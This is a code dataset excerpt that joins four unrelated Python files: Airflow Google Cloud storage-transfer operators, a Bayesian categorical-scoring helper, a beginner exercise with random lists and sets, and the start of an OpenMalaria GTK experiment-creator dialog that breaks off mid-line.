``datetime.time`` object to a format supported by the API\n \"\"\"\n return {HOURS: time.hour, MINUTES: time.minute, SECONDS: time.second}\n\n\nclass TransferJobValidator:\n\n def __init__(self, body):\n self.body = body\n\n def _verify_data_source(self):\n is_gcs = GCS_DATA_SOURCE in self.body[TRANSFER_SPEC]\n is_aws_s3 = AWS_S3_DATA_SOURCE in self.body[TRANSFER_SPEC]\n is_http = HTTP_DATA_SOURCE in self.body[TRANSFER_SPEC]\n sources_count = sum([is_gcs, is_aws_s3, is_http])\n if sources_count != 0:\n if sources_count != 1:\n raise AirflowException('More than one data source detected. Please choose exactly one data source from: gcsDataSource, awsS3DataSource and httpDataSource.')\n\n def _restrict_aws_credentials(self):\n if AWS_S3_DATA_SOURCE not in self.body[TRANSFER_SPEC]:\n return\n if AWS_ACCESS_KEY in self.body[TRANSFER_SPEC][AWS_S3_DATA_SOURCE]:\n raise AirflowException('AWS credentials detected inside the body parameter (awsAccessKey). This is not allowed, please use Airflow connections to store credentials.')\n\n def _restrict_empty_body(self):\n if not self.body:\n raise AirflowException(\"The required parameter 'body' is empty or None\")\n\n def validate_body(self):\n self._restrict_empty_body()\n if TRANSFER_SPEC not in self.body:\n return\n self._restrict_aws_credentials()\n self._verify_data_source()\n\n\nclass GcpTransferServiceJobCreateOperator(BaseOperator):\n \"\"\"GcpTransferServiceJobCreateOperator\"\"\"\n template_fields = ('body', 'gcp_conn_id', 'aws_conn_id')\n\n @apply_defaults\n def __init__(self, body, aws_conn_id='aws_default', gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n (super(GcpTransferServiceJobCreateOperator, self).__init__)(*args, **kwargs)\n self.body = deepcopy(body)\n self.aws_conn_id = aws_conn_id\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n\n def _validate_inputs(self):\n TransferJobValidator(body=(self.body)).validate_body()\n\n def execute(self, context):\n TransferJobPreprocessor(body=(self.body), aws_conn_id=(self.aws_conn_id)).process_body()\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n return hook.create_transfer_job(body=(self.body))\n\n\nclass GcpTransferServiceJobUpdateOperator(BaseOperator):\n \"\"\"GcpTransferServiceJobUpdateOperator\"\"\"\n template_fields = ('job_name', 'body', 'gcp_conn_id', 'aws_conn_id')\n\n @apply_defaults\n def __init__(self, job_name, body, aws_conn_id='aws_default', gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n (super(GcpTransferServiceJobUpdateOperator, self).__init__)(*args, **kwargs)\n self.job_name = job_name\n self.body = body\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self.aws_conn_id = aws_conn_id\n self._validate_inputs()\n\n def _validate_inputs(self):\n TransferJobValidator(body=(self.body)).validate_body()\n if not self.job_name:\n raise AirflowException(\"The required parameter 'job_name' is empty or None\")\n\n def execute(self, context):\n TransferJobPreprocessor(body=(self.body), aws_conn_id=(self.aws_conn_id)).process_body()\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n return hook.update_transfer_job(job_name=(self.job_name), body=(self.body))\n\n\nclass GcpTransferServiceJobDeleteOperator(BaseOperator):\n \"\"\"GcpTransferServiceJobDeleteOperator\"\"\"\n template_fields = ('job_name', 'project_id', 'gcp_conn_id', 'api_version')\n\n @apply_defaults\n def __init__(self, job_name, gcp_conn_id='google_cloud_default', api_version='v1', project_id=None, *args, **kwargs):\n (super(GcpTransferServiceJobDeleteOperator, self).__init__)(*args, **kwargs)\n self.job_name = job_name\n self.project_id = project_id\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n\n def _validate_inputs(self):\n if not self.job_name:\n raise AirflowException(\"The required parameter 'job_name' is empty or None\")\n\n def execute(self, context):\n self._validate_inputs()\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n hook.delete_transfer_job(job_name=(self.job_name), project_id=(self.project_id))\n\n\nclass GcpTransferServiceOperationGetOperator(BaseOperator):\n \"\"\"GcpTransferServiceOperationGetOperator\"\"\"\n template_fields = ('operation_name', 'gcp_conn_id')\n\n @apply_defaults\n def __init__(self, operation_name, gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n (super(GcpTransferServiceOperationGetOperator, self).__init__)(*args, **kwargs)\n self.operation_name = operation_name\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n\n def _validate_inputs(self):\n if not self.operation_name:\n raise AirflowException(\"The required parameter 'operation_name' is empty or None\")\n\n def execute(self, context):\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n operation = hook.get_transfer_operation(operation_name=(self.operation_name))\n return operation\n\n\nclass GcpTransferServiceOperationsListOperator(BaseOperator):\n \"\"\"GcpTransferServiceOperationsListOperator\"\"\"\n template_fields = ('filter', 'gcp_conn_id')\n\n def __init__(self, filter, gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n (super(GcpTransferServiceOperationsListOperator, self).__init__)(*args, **kwargs)\n self.filter = filter\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n\n def _validate_inputs(self):\n if not self.filter:\n raise AirflowException(\"The required parameter 'filter' is empty or None\")\n\n def execute(self, context):\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n operations_list = hook.list_transfer_operations(filter=(self.filter))\n self.log.info(operations_list)\n return operations_list\n\n\nclass GcpTransferServiceOperationPauseOperator(BaseOperator):\n \"\"\"GcpTransferServiceOperationPauseOperator\"\"\"\n template_fields = ('operation_name', 'gcp_conn_id', 'api_version')\n\n @apply_defaults\n def __init__(self, operation_name, gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n (super(GcpTransferServiceOperationPauseOperator, self).__init__)(*args, **kwargs)\n self.operation_name = operation_name\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n\n def _validate_inputs(self):\n if not self.operation_name:\n raise AirflowException(\"The required parameter 'operation_name' is empty or None\")\n\n def execute(self, context):\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n hook.pause_transfer_operation(operation_name=(self.operation_name))\n\n\nclass GcpTransferServiceOperationResumeOperator(BaseOperator):\n \"\"\"GcpTransferServiceOperationResumeOperator\"\"\"\n template_fields = ('operation_name', 'gcp_conn_id', 'api_version')\n\n @apply_defaults\n def __init__(self, operation_name, gcp_conn_id='google_cloud_default', api_version='v1', *args, **kwargs):\n self.operation_name = operation_name\n self.gcp_conn_id = gcp_conn_id\n self.api_version = api_version\n self._validate_inputs()\n (super(GcpTransferServiceOperationResumeOperator, self).__init__)(*args, **kwargs)\n\n def _validate_inputs(self):\n if not self.operation_name:\n raise AirflowException(\"The required parameter 'operation_name' is empty or None\")\n\n def execute(self, context):\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n hook.resume_transfer_operation(operation_name=(self.operation_name))\n\n\nclass GcpTransferServiceOperationCancelOperator(BaseOperator):\n \"\"\"GcpTransferServiceOperationCancelOperator\"\"\"\n template_fields = ('operation_name', 'gcp_conn_id', 'api_version')\n\n @apply_defaults\n def __init__(self, operation_name, api_version='v1', gcp_conn_id='google_cloud_default', *args, **kwargs):\n (super(GcpTransferServiceOperationCancelOperator, self).__init__)(*args, **kwargs)\n self.operation_name = operation_name\n self.api_version = api_version\n self.gcp_conn_id = gcp_conn_id\n self._validate_inputs()\n\n def _validate_inputs(self):\n if not self.operation_name:\n raise AirflowException(\"The required parameter 'operation_name' is empty or None\")\n\n def execute(self, context):\n hook = GCPTransferServiceHook(api_version=(self.api_version), gcp_conn_id=(self.gcp_conn_id))\n hook.cancel_transfer_operation(operation_name=(self.operation_name))\n\n\nclass S3ToGoogleCloudStorageTransferOperator(BaseOperator):\n \"\"\"S3ToGoogleCloudStorageTransferOperator\"\"\"\n template_fields = ('gcp_conn_id', 's3_bucket', 'gcs_bucket', 'description', 'object_conditions')\n ui_color = '#e09411'\n\n @apply_defaults\n def __init__(self, s3_bucket, gcs_bucket, project_id=None, aws_conn_id='aws_default', gcp_conn_id='google_cloud_default', delegate_to=None, description=None, schedule=None, object_conditions=None, transfer_options=None, wait=True, timeout=None, *args, **kwargs):\n (super(S3ToGoogleCloudStorageTransferOperator, self).__init__)(*args, **kwargs)\n self.s3_bucket = s3_bucket\n self.gcs_bucket = gcs_bucket\n self.project_id = project_id\n self.aws_conn_id = aws_conn_id\n self.gcp_conn_id = gcp_conn_id\n self.delegate_to = delegate_to\n self.description = description\n self.schedule = schedule\n self.object_conditions = object_conditions\n self.transfer_options = transfer_options\n self.wait = wait\n self.timeout = timeout\n\n def execute(self, context):\n hook = GCPTransferServiceHook(gcp_conn_id=(self.gcp_conn_id), delegate_to=(self.delegate_to))\n body = self._create_body()\n TransferJobPreprocessor(body=body, aws_conn_id=(self.aws_conn_id), default_schedule=True).process_body()\n job = hook.create_transfer_job(body=body)\n if self.wait:\n hook.wait_for_transfer_job(job, timeout=(self.timeout))\n\n def _create_body(self):\n body = {DESCRIPTION: self.description, \n STATUS: GcpTransferJobsStatus.ENABLED, \n TRANSFER_SPEC: {AWS_S3_DATA_SOURCE: {BUCKET_NAME: self.s3_bucket}, \n GCS_DATA_SINK: {BUCKET_NAME: self.gcs_bucket}}}\n if self.project_id is not None:\n body[PROJECT_ID] = self.project_id\n if self.schedule is not None:\n body[SCHEDULE] = self.schedule\n if self.object_conditions is not None:\n body[TRANSFER_SPEC][OBJECT_CONDITIONS] = self.object_conditions\n if self.transfer_options is not None:\n body[TRANSFER_SPEC][TRANSFER_OPTIONS] = self.transfer_options\n return body\n\n\nclass GoogleCloudStorageToGoogleCloudStorageTransferOperator(BaseOperator):\n \"\"\"GoogleCloudStorageToGoogleCloudStorageTransferOperator\"\"\"\n template_fields = ('gcp_conn_id', 'source_bucket', 'destination_bucket', 'description',\n 'object_conditions')\n ui_color = '#e09411'\n\n @apply_defaults\n def __init__(self, source_bucket, destination_bucket, project_id=None, gcp_conn_id='google_cloud_default', delegate_to=None, description=None, schedule=None, object_conditions=None, transfer_options=None, wait=True, timeout=None, *args, **kwargs):\n (super(GoogleCloudStorageToGoogleCloudStorageTransferOperator, self).__init__)(*args, **kwargs)\n self.source_bucket = source_bucket\n self.destination_bucket = destination_bucket\n self.project_id = project_id\n self.gcp_conn_id = gcp_conn_id\n self.delegate_to = delegate_to\n self.description = description\n self.schedule = schedule\n self.object_conditions = object_conditions\n self.transfer_options = transfer_options\n self.wait = wait\n self.timeout = timeout\n\n def execute(self, context):\n hook = GCPTransferServiceHook(gcp_conn_id=(self.gcp_conn_id), delegate_to=(self.delegate_to))\n body = self._create_body()\n TransferJobPreprocessor(body=body, default_schedule=True).process_body()\n job = hook.create_transfer_job(body=body)\n if self.wait:\n hook.wait_for_transfer_job(job, timeout=(self.timeout))\n\n def _create_body(self):\n body = {DESCRIPTION: self.description, \n STATUS: GcpTransferJobsStatus.ENABLED, \n TRANSFER_SPEC: {GCS_DATA_SOURCE: {BUCKET_NAME: self.source_bucket}, \n GCS_DATA_SINK: {BUCKET_NAME: self.destination_bucket}}}\n if self.project_id is not None:\n body[PROJECT_ID] = self.project_id\n if self.schedule is not None:\n body[SCHEDULE] = self.schedule\n if self.object_conditions is not None:\n body[TRANSFER_SPEC][OBJECT_CONDITIONS] = self.object_conditions\n if self.transfer_options is not None:\n body[TRANSFER_SPEC][TRANSFER_OPTIONS] = self.transfer_options\n return body","sub_path":"pycfiles/apache_ariatosca-0.2.0-py2-none-any/gcp_transfer_operator.cpython-36.py","file_name":"gcp_transfer_operator.cpython-36.py","file_ext":"py","file_size_in_byte":16999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"171701433","text":"\"\"\"\n_models.py : modeling routines for determining variable significance\n\"\"\"\nimport numpy as np\n\ndef logit(x):\n return np.log(x/(1-x))\n\n\ndef _get_conditional_scores(dataframe=None, feature=None, target=None,\n positive_class=None, print_output=True,\n master_dict=None):\n \"\"\"\n Creates a single-variable Bayesian model from the provided feature. The\n feature is an indicator created from a particular level of the original\n categorical feature.\n \"\"\"\n # fillna so we can use all category levels\n # dataframe.loc[:, feature\n dataframe.loc[:, feature] = dataframe.loc[:, feature].fillna(value=\"NaN\")\n unique_levels = dataframe.loc[:, feature].unique()\n unique_count = len(unique_levels) - 1\n # extra_degrees_of_freedom = np.max([0, unique_count])\n # epsilon = 1.0e-6\n smoothing_factor = 1.0e-4\n\n # conditions used to derive modeling values\n # level_and_true = dataframe.loc[:, feature] == positive_class\n overall_true = dataframe.loc[:, target] == positive_class\n overall_false = dataframe.loc[:, target] != positive_class\n \n # number of True samples\n n_true = dataframe[overall_true].loc[:, target].count()\n n_false = dataframe[overall_false].loc[:, target].count()\n \n # unconditioned mean\n probability_of_true = dataframe.loc[:, target].mean()\n \n # container for conditional scores for each level\n conditional_scores = dict()\n master_dict[feature] = dict()\n # find the conditional scores for each unique category level\n for level in dataframe.loc[:, feature].unique():\n # Original version: caused boolean index warning\n # condition = dataframe.loc[:, feature] == level\n # count of True for the current category level\n # n_conditional_and_true = dataframe[condition][overall_true].loc[:, feature].count()\n # count of False for the current category level\n # n_conditional_and_false = dataframe[condition][overall_false].loc[:, feature].count()\n \n true_filter = \"{0} == '{1}' & {2} == {3}\".format(feature,\n level,\n target,\n positive_class)\n\n false_filter = \"{0} == '{1}' & {2} != {3}\".format(feature,\n level,\n target,\n positive_class)\n\n n_conditional_and_true = dataframe.query(true_filter).loc[:, feature].count()\n n_conditional_and_false = dataframe.query(false_filter).loc[:, feature].count()\n \n # probability of category level given the outcome is the positive_class\n prob_of_level_given_true = (n_conditional_and_true + smoothing_factor)/\\\n (n_true + smoothing_factor)\n # probability of category level given the outcome is NOT the positive_class\n prob_of_level_given_false = (n_conditional_and_false + smoothing_factor) /\\\n (n_false + smoothing_factor)\n\n # un-normalized probability the target is the positive class given the level\n prob_true_given_level_unnormalized = prob_of_level_given_true * probability_of_true\n # un-normalized probability the target is NOT the positive class given the level\n prob_false_given_level_unnormalized = prob_of_level_given_false * (1 -\n probability_of_true)\n \n # normalized probability the target is the positive class given the level\n prob_of_true_given_level = prob_true_given_level_unnormalized / \\\n (prob_true_given_level_unnormalized + prob_false_given_level_unnormalized)\n\n # find the conditional score for this level\n conditional_score = logit(prob_of_true_given_level) - logit(probability_of_true)\n \n # add the score to the container\n conditional_scores[level] = conditional_score\n \n if print_output is True:\n print(\"n_true: {0}\".format(n_true))\n print(\"n_false: {0}\".format(n_false))\n print(\"conditional_n_true: {0}\".format(n_conditional_and_true))\n print(\"conditional_n_false: {0}\".format(n_conditional_and_false))\n print(\"probability_of_true: {0}\".format(probability_of_true))\n print(\"prob_of_level_given_true: {0}\".format(prob_of_level_given_true))\n print(\"prob_of_level_given_false: {0}\".format(prob_of_level_given_false))\n print(\"prob_of_true_given_level_unnormalized: {0}\".format(prob_true_given_level_unnormalized))\n print(\"prob_of_false_given_level_unnormalized: {0}\".format(prob_false_given_level_unnormalized))\n print(\"prob_of_true_given_level: {0}\".format(prob_of_true_given_level))\n print(\"conditional_score: {0}\".format(conditional_score))\n\n master_dict[feature] = conditional_scores\n return master_dict\n\n\n","sub_path":"avalearn/utils/categorical/_models.py","file_name":"_models.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"414975494","text":"import random\nimport numpy as np\nfrom random import uniform \nn = 10 \nm = 10 \nlist_x = [[round(random.uniform(0, 100)) for x in range(n)] for y in range(m)] \n\nfor i in range(len(list_x)): \n print(list_x[i]) \n\nmath_value_elem = [] \nmin_value_elem = [] \nmax_value_elem = [] \ndisp_value_elem = [] \n\nfor i in range(len(list_x)): \n min_value_elem.append(min(list_x[i])) \n max_value_elem.append(max(list_x[i])) \n math_value_elem.append(np.mean(list_x[i])) \n\nfor i in range(len(list_x)): \n disp_value_elem.append(np.var(list_x[i]))\n \nprint(\"Мат. ожид. общее\", np.mean(list_x))\nprint(\"Общая дисп.\", np.var(list_x))\nprint(\"Общий max\", max(max_value_elem)) \nprint(\"Общий min\", min(min_value_elem))\nprint(math_value_elem)\nprint(min_value_elem)\nprint(max_value_elem)\nprint(disp_value_elem)\n\n##############################################################\n\nimport random \nfrom random import randint \nn = 40 \nm = 60 \nlist1 = [round(random.randint(0, 100)) for x in range(n)] \nlist2 = [round(random.uniform(0, 100)) for x in range(m)] \nset1 = set(list1) \nset2 = set(list2) \n\nprint(set1.union(set2)) \nprint(set1.intersection(set2)) \nprint(set1.difference(set2)) \nprint(set2.difference(set1)) \nprint(set1.symmetric_difference(set2))\n\n##############################################################\n\nimport random \nimport copy \ndef newdic(newlist, farm1, farm2): \n return {i : [farm1[i][0], farm2[i][0], farm1[i][1], farm2[i][1]] for i in newlist} \n\n#farm_1 = {'1': [11, 70], '2': [5, 64], '3': [3, 73], '4': [2, 57], '5': [7, 65]} \nfarm_1 = {i : [random.randint(1, 12), random.randint(50, 100)] for i in range (5)} \nprint(farm_1) \nfarm_2 = copy.deepcopy(farm_1) \ndel farm_2[3], farm_2[4] \nprint(farm_2) \nfor i in range (3): farm_2[i][1] = random.randint(50, 100) \nprint(farm_2) \nfor i in range (3, 5): farm_2[i] = [random.randint(1, 12), random.randint(50, 100)] \nprint(farm_2) \nfarm_3 = newdic([3, 4], farm_1, farm_2) \nprint(farm_3)\n","sub_path":"python1.py","file_name":"python1.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"107080445","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\n# This file is part of OpenMalaria.\r\n# \r\n# Copyright (C) 2005-2010 Swiss Tropical Institute and Liverpool School Of Tropical Medicine\r\n# \r\n# OpenMalaria is free software; you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation; either version 2 of the License, or (at\r\n# your option) any later version.\r\n# \r\n# This program is distributed in the hope that it will be useful, but\r\n# WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\r\n# General Public License for more details.\r\n# \r\n# You should have received a copy of the GNU General Public License\r\n# along with this program; if not, write to the Free Software\r\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\r\n\r\nimport sys\r\nimport os\r\nimport pygtk\r\nif not sys.platform == 'win32':\r\n pygtk.require('2.0')\r\nimport gtk\r\n\r\nimport time\r\nimport re\r\nimport string\r\nimport shutil\r\nimport exceptions\r\n\r\nfrom FileListFrame import FileList\r\nfrom CustomMessageDialogs import CustomMessageDialogs\r\nfrom ..utils.PathsAndSchema import PathsAndSchema\r\nfrom ..tools_management.JavaAppsRun import SchemaTranslatorRun\r\nfrom ..tools_management.JavaAppsRun import ExperimentCreatorRun\r\n\r\n'''\r\nExperimentCreatorDialog:\r\nThis gtk.Dialog allows the user to create\r\na full experiment (With sweeps and arms)''' \r\nclass ExperimentCreatorDialog(gtk.Dialog):\r\n \r\n def __init__(self, mainFileList, parent, notebookFrame):\r\n gtk.Dialog.__init__(self,'Experiment creation', parent,0,('Cancel', gtk.RESPONSE_REJECT,\r\n 'Ok', gtk.RESPONSE_ACCEPT))\r\n \r\n icon_path = PathsAndSchema.get_icon_path()\r\n self.set_icon_from_file(icon_path)\r\n self.mainFileList = mainFileList\r\n self.parent_window = parent\r\n self.notebookFrame = notebookFrame\r\n \r\n \r\n hbox_name_entry= gtk.HBox(False, 2)\r\n name_label = gtk.Label('Experiment name ')\r\n self.name_entry = gtk.Entry()\r\n hbox_name_entry.pack_start(name_label, False, False, 1)\r\n hbox_name_entry.pack_start(self.name_entry, False, False, 0)\r\n self.vbox.pack_start(hbox_name_entry, False, False, 2)\r\n \r\n hbox_base_button = gtk.HBox(False, 2)\r\n base_button = gtk.Button('Select Base file')\r\n base_button.connect('clicked', self.open_base_file_chooser)\r\n self.base_entry = gtk.Entry()\r\n self.base_entry.set_width_chars(100)\r\n self.base_entry.set_sensitive(False)\r\n sweeps_button = gtk.Button('Add sweeps...')\r\n sweeps_button.connect('clicked', self.open_sweep_folder_chooser)\r\n hbox_base_button.pack_start(base_button, False, False, 2)\r\n hbox_base_button.pack_start(self.base_entry, True, True, 2)\r\n hbox_base_button.pack_start(sweeps_button, False, False, 2)\r\n \r\n self.vbox.pack_start(hbox_base_button, False, False, 2)\r\n \r\n label_experiment_vbox = gtk.VBox(False, 2)\r\n label_experiment_hbox = gtk.HBox(False, 2)\r\n experiment_folder_button = gtk.Button('Select output folder')\r\n self.experiment_folder_entry = gtk.Entry()\r\n self.experiment_folder_entry.set_width_chars(100)\r\n self.experiment_folder_entry.set_sensitive(False)\r\n self.experiment_folder_entry.set_text(PathsAndSchema.get_scenarios_to_run_folder())\r\n experiment_folder_button.connect('clicked', self.open_output_folder_chooser, self.experiment_folder_entry)\r\n label_experiment_hbox.pack_start(experiment_folder_button, False, False, 0)\r\n label_experiment_hbox.pack_start(self.experiment_folder_entry, True, True, 2)\r\n label_experiment_hbox.show_all()\r\n label_experiment_vbox.pack_start(label_experiment_hbox, False, False, 2)\r\n \r\n self.vbox.pack_start(label_experiment_vbox, False, False, 2)\r\n \r\n hbox_options = gtk.HBox(False, 2)\r\n \r\n vbox_1 = gtk.VBox(False, 2)\r\n label_options = gtk.Label('Options')\r\n label_options.set_alignment(0,0)\r\n self.validate_checkbox = gtk.CheckButton('Validate', False)\r\n vbox_1.pack_start(label_options, False, False, 2)\r\n vbox_1.pack_start(self.validate_checkbox, False, False, 2)\r\n \r\n vbox_2 = gtk.VBox(False, 2)\r\n label_seeds = gtk.Label('')\r\n label_seeds.set_alignment(0,0)\r\n self.seeds_checkbox = gtk.CheckButton('Add Seeds')\r\n self.seeds_checkbox.connect('toggled', self.show_seeds_entry)\r\n vbox_2.pack_start(label_seeds, False, False, 2)\r\n vbox_2.pack_start(self.seeds_checkbox, False, False, 2)\r\n \r\n hbox_options.pack_start(vbox_1, False, False, 2)\r\n hbox_options.pack_start(vbox_2, False, False, 2)\r\n \r\n self.vbox.pack_start(hbox_options, False, False, 2)\r\n \r\n hbox_entries = gtk.HBox(False, 2)\r\n \r\n label_nothing = gtk.Label('')\r\n \r\n self.vbox_seeds = gtk.VBox(False, 2)\r\n label_seeds = gtk.Label('Number of seeds')\r\n self.seeds_entry = gtk.Entry()\r\n self.seeds_entry.set_width_chars(10)\r\n self.vbox_seeds.pack_start(label_seeds, False, False, 2)\r\n self.vbox_seeds.pack_start(self.seeds_entry, False, False, 2)\r\n \r\n self.vbox_login = gtk.VBox(False, 2)\r\n label_login = gtk.Label('Login')\r\n label_login.set_alignment(0,0)\r\n self.entry_login = gtk.Entry()\r\n self.vbox_login.pack_start(label_login, False, False, 2)\r\n self.vbox_login.pack_start(self.entry_login, False, False, 2)\r\n \r\n self.vbox_passwd = gtk.VBox(False, 2)\r\n label_passwd = gtk.Label('Password')\r\n label_passwd.set_alignment(0,0)\r\n self.entry_passwd = gtk.Entry()\r\n self.vbox_passwd.pack_start(label_passwd, False, False, 2)\r\n self.vbox_passwd.pack_start(self.entry_passwd, False, False, 2)\r\n \r\n self.vbox_address = gtk.VBox(False, 2)\r\n label_server= gtk.Label('Server Address')\r\n label_server.set_alignment(0,0)\r\n self.entry_server = gtk.Entry()\r\n self.vbox_address.pack_start(label_server, False, False, 2)\r\n self.vbox_address.pack_start(self.entry_server, False, False, 2)\r\n \r\n hbox_entries.pack_start(label_nothing, False, False, 33)\r\n hbox_entries.pack_start(self.vbox_seeds, False, False, 2)\r\n #hbox_entries.pack_start(self.vbox_login, False, False, 13)\r\n #hbox_entries.pack_start(self.vbox_passwd, False, False, 13)\r\n #hbox_entries.pack_start(self.vbox_address, False, False, 13)\r\n \r\n self.vbox.pack_start(hbox_entries, False, False, 2)\r\n \r\n self.sweeps_notebook = gtk.Notebook()\r\n self.sweeps_notebook.set_tab_pos(gtk.POS_TOP)\r\n self.vbox.pack_start(self.sweeps_notebook, True, True, 2)\r\n \r\n self.status_label = gtk.Label('')\r\n self.status_label.set_alignment(0,0)\r\n self.vbox.pack_start(self.status_label, False, False, 2)\r\n self.connect('response', self.choose_action)\r\n self.connect('destroy', self.closed_creator)\r\n \r\n self.sweeps_paths = list()\r\n self.base_file_path = None\r\n \r\n self.sweep_folder_chooser_opened=False\r\n self.base_file_chooser_opened=False\r\n self.output_folder_chooser_opened=False\r\n \r\n self.show_all()\r\n self.vbox_seeds.set_sensitive(False)\r\n self.vbox_login.set_sensitive(False)\r\n self.vbox_passwd.set_sensitive(False)\r\n self.vbox_address.set_sensitive(False)\r\n \r\n '''\r\n open_sweep_folder_chooser:\r\n Opens a Folder chooser. The user should then\r\n select a Folder (sweep) containing .xml scenarios''' \r\n def open_sweep_folder_chooser(self, widget, data=None):\r\n if not self.sweep_folder_chooser_opened:\r\n self.sweep_folder_chooser_opened = True\r\n folder_chooser = gtk.FileChooserDialog('Choose sweep folder', self, gtk.FILE_CHOOSER_ACTION_SELECT_FOLDER, ('ok',gtk.RESPONSE_OK)) \r\n icon_path = PathsAndSchema.get_icon_path()\r\n folder_chooser.set_icon_from_file(icon_path)\r\n folder_chooser.set_select_multiple(True)\r\n folder_chooser.connect('response', self.select_sweep_folder)\r\n folder_chooser.connect('destroy', self.allow_open_sweep_folder_chooser)\r\n folder_chooser.show()\r\n \r\n '''\r\n open_output_folder_chooser:\r\n Opens a Folder chooser. The user should then select\r\n a folder where the generated scenarios should be saved'''\r\n def open_output_folder_chooser(self, widget, entry):\r\n if not self.output_folder_chooser_opened:\r\n self.output_folder_chooser_opened = True\r\n folder_chooser = gtk.FileChooserDialog('Choose sweep folder', self, gtk.FILE_CHOOSER_ACTION_SELECT_FOLDER, ('ok',gtk.RESPONSE_OK, 'cancel', gtk.RESPONSE_CANCEL)) \r\n icon_path = PathsAndSchema.get_icon_path()\r\n folder_chooser.set_icon_from_file(icon_path)\r\n folder_chooser.connect('response', self.add_output_folder, entry)\r\n folder_chooser.connect('destroy', self.allow_open_output_folder_chooser)\r\n folder_chooser.show()\r\n \r\n \r\n '''\r\n show_seeds_entry:\r\n If toggle button is active, then the seeds nbr entry is shown''' \r\n def show_seeds_entry(self, widget, data=None):\r\n self.vbox_seeds.set_sensitive(widget.get_active())\r\n \r\n '''\r\n show_db_entries:\r\n If toggle button is active, then the entries for db connection\r\n informations are shown''' \r\n def show_db_entries(self, widget, data=None):\r\n self.vbox_login.set_sensitive(widget.get_active())\r\n self.vbox_passwd.set_sensitive(widget.get_active())\r\n self.vbox_address.set_sensitive(widget.get_active())\r\n \r\n '''\r\n allow_open_sweep_folder_chooser:\r\n Sets sweep_folder_chooser_opened to True. Then the user\r\n is able to reopen a sweep folder chooser dialog'''\r\n def allow_open_sweep_folder_chooser(self, widget, data=None):\r\n self.sweep_folder_chooser_opened = False\r\n \r\n '''\r\n allow_open_output_folder_chooser:\r\n Sets output_folder_chooser_opened to True. Then the user \r\n is able to reopen an output folder chooser dialog'''\r\n def allow_open_output_folder_chooser(self, widget, data=None):\r\n self.output_folder_chooser_opened = False\r\n \r\n '''\r\n select_sweep_folder:\r\n Selects a Sweep folder. Then a new tab is added in \r\n the experiment creator containing an overview of all\r\n the scenarios contained in the folder'''\r\n def select_sweep_folder(self, widget, response_id, data=None):\r\n if response_id == gtk.RESPONSE_OK:\r\n filenames = widget.get_filenames()\r\n for filename in filenames:\r\n self.add_sweep_tab(filename)\r\n widget.destroy()\r\n \r\n '''\r\n add_output_folder:\r\n Adds a user specific output folder''' \r\n def add_output_folder(self, widget, response_id, entry):\r\n output_folder_path = widget.get_filename()\r\n if response_id == gtk.RESPONSE_OK:\r\n if(os.path.isdir(output_folder_path)):\r\n entry.set_text(output_folder_path)\r\n widget.destroy()\r\n \r\n '''\r\n open_base_file_chooser:\r\n Opens a File chooser. The user should then \r\n select a base scenario'''\r\n def open_base_file_chooser(self, widget, data=None):\r\n if not self.base_file_chooser_opened:\r\n self.base_file_chooser_opened = True\r\n base_file_chooser = gtk.FileChooserDialog('Choose base file', self, gtk.FILE_CHOOSER_ACTION_OPEN, ('ok', gtk.RESPONSE_OK))\r\n icon_path = PathsAndSchema.get_icon_path()\r\n base_file_chooser.set_icon_from_file(icon_path)\r\n base_file_chooser.connect('response', self.select_base_file)\r\n base_file_chooser.connect('destroy', self.allow_open_base_file_chooser)\r\n filter = gtk.FileFilter()\r\n filter.set_name(\"Xml files\")\r\n filter.add_pattern(\"*.xml\")\r\n base_file_chooser.add_filter(filter)\r\n base_file_chooser.show()\r\n \r\n '''\r\n allow_open_base_file_chooser:\r\n Sets base_file_chooser_opened to True. Then the user\r\n is able to reopen a new base file chooser dialog''' \r\n def allow_open_base_file_chooser(self, widget, data=None):\r\n self.base_file_chooser_opened = False\r\n \r\n '''\r\n select_base_file:\r\n Selects the base scenario file. the filechooser\r\n widget is then destroyed''' \r\n def select_base_file(self, widget, data):\r\n self.add_base_file(widget.get_filename())\r\n widget.destroy()\r\n \r\n '''\r\n add_base_file:\r\n Sets self.base_file_path to the given base file path.\r\n The base file path is then displayed on an entry.''' \r\n def add_base_file(self, base_file_path):\r\n if(os.path.isfile(base_file_path)):\r\n path, name = os.path.split(base_file_path)\r\n name_split = str.split(name, '.')\r\n extension = name_split[len(name_split)-1]\r\n if extension == 'xml':\r\n translator = SchemaTranslatorRun()\r\n scenario_infos_list = 